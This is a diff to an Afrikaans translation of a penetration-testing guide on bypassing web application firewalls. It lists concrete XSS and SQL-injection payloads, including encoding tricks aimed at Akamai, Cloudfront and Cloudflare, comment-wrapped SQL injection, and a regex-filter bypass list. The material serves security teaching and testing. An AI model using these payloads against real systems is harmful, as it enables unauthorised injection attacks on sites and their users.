+Soos genoem in [**hierdie blogpos**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), om WAFs te omseil wat 'n konteks van die gebruiker se invoer kan handhaaf, kan ons die WAF-tegnieke misbruik om werklik die gebruiker se invoer te normaliseer.

-Byvoorbeeld, in die pos word genoem dat **Akamai 'n gebruiker se invoer 10 keer URL-decodeer**. Daarom sal iets soos `<input/%2525252525252525253e/onfocus` deur Akamai gesien word as `<input/>/onfocus` wat **kan dink dat dit reg is aangesien die etiket gesluit is**. egter, solank die toepassing nie die invoer 10 keer URL-decodeer nie, sal die slagoffer iets soos `<input/%25252525252525253e/onfocus` sien wat **nog steeds geldig is vir 'n XSS-aanval**.
+Byvoorbeeld, in die pos word genoem dat **Akamai 'n gebruiker se invoer 10 keer URL-decodeer**. Daarom sal iets soos `<input/%2525252525252525253e/onfocus` deur Akamai gesien word as `<input/>/onfocus` wat **miskien dink dat dit reg is aangesien die etiket gesluit is**. egter, solank die toepassing nie die invoer 10 keer URL-decodeer nie, sal die slagoffer iets soos `<input/%25252525252525253e/onfocus` sien wat **nog steeds geldig is vir 'n XSS-aanval**.

-Daarom laat dit toe om **payloads in geënkodeerde komponente te verberg** wat die WAF sal decodeer en interpreteer terwyl die slagoffer nie.
+Daarom laat dit toe om **payloads in geënkodeerde komponente te verberg** wat die WAF sal decodeer en interpreteer terwyl die slagoffer dit nie sal doen nie.

-Boonop kan dit nie net met URL-geënkodeerde payloads gedoen word nie, maar ook met ander kodering soos unicode, hex, oktale...
+Boonop kan dit nie net met URL-geënkodeerde payloads gedoen word nie, maar ook met ander kodering soos unicode, hex, octaal...

 In die pos word die volgende finale omseilings voorgestel:

@ -158,7 +175,7 @@ In die pos word die volgende finale omseilings voorgestel:
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`

-Daar word ook genoem dat afhangende van **hoe sommige WAFs die konteks van die gebruiker se invoer verstaan**, dit moontlik is om dit te misbruik. Die voorgestelde voorbeeld in die blog is dat Akamai toelaat het om enigiets tussen `/*` en `*/` te plaas (potensieel omdat dit algemeen as kommentaar gebruik word). Daarom sal 'n SQL-inspuiting soos `/*'or sleep(5)-- -*/` nie opgemerk word nie en sal geldig wees aangesien `/*` die beginstring van die inspuiting is en `*/` kommentaar is.
+Daar word ook genoem dat, afhangende van **hoe sommige WAFs die konteks van die gebruiker se invoer verstaan**, dit moontlik is om dit te misbruik. Die voorgestelde voorbeeld in die blog is dat Akamai toelaat het om enigiets tussen `/*` en `*/` te plaas (potensieel omdat dit algemeen as kommentaar gebruik word). Daarom sal 'n SQL-inspuiting soos `/*'or sleep(5)-- -*/` nie opgemerk word nie en sal geldig wees aangesien `/*` die beginstring van die inspuiting is en `*/` kommentaar is.

 Hierdie tipe konteksprobleme kan ook gebruik word om **ander kwesbaarhede as die een wat verwag word** om deur die WAF uitgebuit te word, te misbruik (bv. dit kan ook gebruik word om 'n XSS aan te val).

@ -178,7 +195,7 @@ h2c-smuggling.md

 ### Regex Bypasses

-Verskillende tegnieke kan gebruik word om die regex filters op die firewalls te omseil. Voorbeelde sluit in: alternatiewe geval, toevoeging van lynbreuke, en kodering van payloads. Hulpbronne vir die verskillende omseilings kan gevind word by [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) en [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die voorbeelde hieronder is uit [hierdie artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) geneem.
+Verskillende tegnieke kan gebruik word om die regex-filters op die firewalls te omseil. Voorbeelde sluit in: alternatiewe geval, toevoeging van reëls breek, en kodering van payloads. Hulpbronne vir die verskillende omseilings kan gevind word by [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) en [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die voorbeelde hieronder is uit [hierdie artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) geneem.
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@ -201,7 +218,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 ```
 ## Gereedskap

- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-inprop om rommeldata aan versoeke toe te voeg om WAFs te omseil deur lengte
+- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-inprop om rommeldata aan versoeke toe te voeg om WAFs deur lengte te omseil

 ## Verwysings

@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
 - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
+- [Hoe ek 'n 0-Klik Rekening oorname in 'n openbare BBP gevind het en dit benut het om toegang tot Admin-vlak funksies te verkry](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)


 {{#include ../banners/hacktricks-training.md}}